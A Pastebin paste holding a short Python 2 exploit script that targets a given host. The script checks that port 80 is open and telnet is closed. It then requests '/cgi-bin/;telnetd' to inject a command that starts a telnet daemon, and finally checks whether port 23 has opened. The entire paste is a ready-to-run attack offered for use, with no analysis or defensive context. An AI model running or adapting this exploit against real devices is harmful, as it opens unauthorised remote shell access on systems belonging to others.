Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #! /usr/bin/python
- import socket
- import sys
- import requests
- #This is a pretty simple exploit, not many modules needed!
- if len(sys.argv) != 2:
- print "usage: ./exploit [TARGET]"
- sys.exit(1)
- host = sys.argv[1]
- def checkVuln():
- print 'checking host... ',; sys.stdout.flush()
- try:
- s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- result1 = s1.connect_ex((host, 80))
- s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- result2 = s2.connect_ex((host, 23))
- s1.close()
- s2.close()
- if result1 == 0 and result2 != 0:
- print 'done'
- else:
- raise Exception
- except Exception:
- print 'fail'
- sys.exit(1)
- def exploit():
- print 'attempting exploit... ',; sys.stdout.flush()
- try:
- request = requests.get('http://' + host + '/cgi-bin/;telnetd')
- print 'done'
- except Exception:
- print 'done'
- def verify():
- print 'verifying exploitation... ',; sys.stdout.flush()
- try:
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- result = s.connect_ex((host, 23))
- s.close()
- if result == 0:
- print 'success!'
- else:
- raise Exception
- except Exception:
- print 'fail'
- sys.exit(1)
- checkVuln()
- exploit()
- verify()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement